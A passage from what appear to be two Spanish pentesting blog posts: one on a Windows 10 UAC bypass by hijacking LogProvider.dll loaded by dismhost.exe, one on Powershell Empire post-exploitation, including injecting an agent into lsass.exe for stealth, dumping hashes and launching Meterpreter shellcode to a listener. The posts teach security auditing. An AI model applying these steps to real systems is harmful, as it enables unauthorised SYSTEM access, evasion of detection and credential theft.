Después de que dismhost.exe y los archivos DLL se copien en la ruta especificada anteriormente, cleanmgr.exe ejecuta dismhost.exe como un proceso de alta integridad. Cuando dismhost.exe es ejecutado, éste comienza a cargar las diferentes DLL en cierto orden. Debido a que el usuario que está ejecutando la tarea tiene un nivel de integridad medio, éste tiene acceso de escritura al directorio %TEMP%. Entonces es posible realizar un Hijacking DLL cargado por dismhost.exe y obtener la ejecución de código en un proceso de alta integridad, y es aquí dónde obtenemos el bypass UAC.

Escenario de explotación

El escenario presentado es sencillo. Nosotros tenemos la posibilidad de escribir en la carpeta indicada anteriormente, por lo que podremos realizar un secuestro de DLL o hijacking DLL. Tenemos que ser capaces de escribir la DLL en cuestión antes de que dismhost.exe la cargue. Tras la investigación de Matt se sabe que la DLL denominada LogProvider.dll es la última en ser cargada, por lo que es idónea para ser secuestrada. Si lo hacemos de forma correcta el binario dismhost.exe cargará nuestra DLL y no la original, por lo que conseguiremos ejecutar código en un proceso con integridad alta, consiguiendo el bypass.

La técnica solo valdrá para usuarios administrativos y nunca para usuarios estándar. No es una escalada de privilegios total, pero sí es un bypass UAC, ya que nos permitiría ejecutar código saltándonos el UAC. Esto puede ser realmente útil cuando, por ejemplo, conseguimos una sesión de Meterpreter con Metasploit de un usuario del grupo administrador, pero que no es el administrador real de la máquina. Con esta técnica podríamos lograr ser SYSTEM y control total sobre la máquina. Por supuesto, el mundo del cibercrimen lo podría utilizar para explotar con mayor virulencia los esquemas de ransomware.

La PoC de Matt Graeber

Matt Graeber escribió una prueba de concepto en Powershell, la cual registrará un evento WMI para supervisar la creación de la carpeta GUID por cleanmgr.exe. Una vez detectada la carpeta, se tomará la DLL especificada y la copiará a la carpeta con el GUID para sobrescribir LorProvider.dll. El código se encuentra disponible en Github.

Figura 4: PoC en PowerShell publicada por Matt Graeber

Una vez dismhost.exe vaya a cargar LogProvider.dll será nuestra DLL maliciosa la que se ejecute, en lugar de la DLL legítima. Además, también proporcionan una DLL de prueba para probar la ejecución de código a través de un MessageBox.

Figura 5: Ejecución de la PoC con el Bypass de UAC en Windows 10

Como se puede ver el concepto es realmente sencillo. El script que podemos descargar que implementa la PoC es Invoke-ByPassUAC.ps1, el cual implementa una función que podemos cargar a nuestra Powershell a través del comando import-modude. La ejecución de la función se llevaría a cabo con la siguiente sintaxis:

invoke-bypassuac -DllPath [ruta de la DLL a copiar en la carpeta target]

Esta nueva forma de realizar Bypass UAC en Windows 10 es una técnica que debemos llevar en nuestra mochila en las auditorias y por supuesto, fortificar al máximo nuestro Windows para evitar estos ataques.

Autor: Pablo González Pérez (@pablogonzalezpe)
Escritor de los libros "Metasploit para Pentesters", "Ethical Hacking", "Got Root" y “Pentesting con Powershell”

Powershell Empire: El imperio contraataca

La semana pasada publiqué un artículo en el que explicaba qué es Powershell Empire y las múltiples cosas que podemos realizar con los listeners, stagers y agents que ofrece la herramienta. Si jugamos un poco más podemos llegar a hacer cosas realmente útiles en una auditoria de re con sistemas Microsoft Windows, sobre todo si están como la red de equipos del Department of Homeland Security que tiene muchos con vulnerabilidades conocidas sin parchear.

Figura 1: Powershell Empire - El imperio contraataca

El disponer de agents desplegados en una o varias máquinas puede proporcionarnos el escenario perfecto para intentar obtener privilegios, pivotar, recopilar información sensible de las máquinas, ejecutar código que ofrezca nuevas posibilidades y vías, en otras palabras, explorar múltiples vías. En el caso práctico de hoy veremos funcionalidades de Powershell Empire que permiten realizar las siguientes acciones:

• UAC bypass: Si las condiciones del usuario lo permiten se puede realizar una elevación de privilegios evitando UAC (User Account Control). 

• Inyectar agentes: Powershell Empire permite inyectar un agent en un proceso cualquiera, sin necesidad de ejecutar powershell.exe. Esto es bastante potente e interesante para pasar desapercibido. 

• Ejecución de código: Podremos ejecutar, por ejemplo, una Meterpreter y tomar el control de dicha máquina con Metasploit en un momento dado.

Bypasseando UAC remotamente

Cuando tenemos el control de un agent en remoto disponemos de una gran variedad de opciones y módulos ejecutables. Uno de los módulos potentes es privsec/bypassuac_wscript, el cual permite elevar privilegios en la máquina remota. Es cierto que para que el comando bypassuac tenga éxito el contexto en el que se ejecuta el agent debe tener:

• UAC debe estar configurado por defecto en modo Windows 7: Recordad que utiliza los trucos conocidos de saltar UAC con la configuración en modo Windows 7 y que la configuración más segura es en modo Windows Vista, tal y como se explica en el libro de fortificación de Windows.

• Ser administrador: La identidad del usuario con el que se ejecutó el agent debe formar parte del grupo administradores.

En el módulo se tendrá que configurar el listener al que el agent devolverá la salida del job ejecutado. Si la acción tiene éxito obtendremos la ejecución de un nuevo agente que se ejecutará como SYSTEM, por lo que dispondremos de la posibilidad de ejecutar cualquier acción en el sistema, por ejemplo, realizar un volcado de hashes con el módulo powerdump.

Figura 2: Ejecución de UAC Bypass

En Listener hay que configurar la dirección dónde estaremos a la escucha, como se mencionaba anteriormente. Si nos fijamos en la siguiente imagen se puede ver como el nuevo agente obtenido tiene un * dónde la columna Username. Esto quiere decir que se está ejecutando con privilegio elevado, es decir, nuestro bypass funcionó. El nombre del agent que obtenemos es aleatorio, y es recomendado renombrar para poder interactuar de manera más sencilla. Para ello se puede ejecutar el siguiente conjunto de instrucciones:

1. agents
2. interact [nombre agent]
3. rename [nombre nuevo]

Figura 3: Configuración de los listeners

Inyectándonos en otros ambientes

Una de las cosas más interesantes para mí es la posibilidad de inyectarse en casi cualquier proceso, siempre que se tenga privilegio para ello. Por ejemplo, poder inyectar un agent en un proceso como lsass.exe. Esto haría que pasáramos muy desapercibidos.

Lo primero que se podría hacer con el agent anterior sería lanzar un tasklist que nos permita, a través de Powershell, obtener un listado de procesos que se ejecutan en la máquina y con qué privilegio. En este instante ya sabemos el PID de los procesos, lo cual lo necesitaremos para el módulo PSInject.

Figura 4: Ejecución de un tasklist a través del agente

Para cargar el módulo de PSInject se puede utilizar dos vías: usemodule management/psinject o el comando psinject [nombre listener]. Una vez cargado el módulo disponemos de una serie de opciones que nos permiten configurar el proceso dónde nos queremos inyectar, a través del PID de éste. Si todo va bien obtendremos un nuevo agent ejecutándose en la máquina remota, pero en este caso no será lanzado por un proceso powershell.exe, por lo que pasamos un poco más inadvertidos.

Figura 5: Obtención de agent con privilegio SYSTEM inyectado en lsass

Cómo se puede ver en la imagen anterior obtenemos un nuevo agent, con privilegio de SYSTEM e inyectado en el proceso lsass. A partir de aquí uno puede jugar de forma más relajada, ya que el usuario no cerrará dicho proceso.

Ejecución de código: shellcode

El último paso es la ejecución de código, cómo por ejemplo una Meterpreter desde un agent de Powershell. Para ello se utiliza el módulo code_execution/invoke_shellcode. Este módulo permite seleccionar la dirección IP o el puerto a la que se conectará la sesión de Meterpreter.

Figura 6: Configuración y ejecución de Meterpreter

Por otro lado habrá que configurar en Metasploit el módulo exploit/multi/handler para recibir la conexión de la shellcode que lanzará el agent. La configuración debe coincidir, tanto en LHOST como en LPORT. Como peculiaridad diremos que al ser ejecutado en un proceso que ha obtenido privilegio previo, podrá ser SYSTEM desde Metasploit, tal y como se puede ver en la siguiente imagen.

Figura 7: Sesión de Meterpreter como SYSTEM

En conclusión, tenemos varias fórmulas para potenciar nuestra acción en la auditoria o en un pentest y Powershell nos ofrece gran potencia y versatilidad. Cuando hice PSbot para hacer auditorias de seguridad usando Powershell, más simple que Powershell Empire, ya se podía ver la fuerza y potencia que proporciona esta herramienta que viene con Windows desde Vista.

Autor: Pablo González Pérez (@pablogonzalezpe)
Escritor de los libros "Metasploit para Pentesters", "Ethical Hacking" y “Pentesting con Powershell”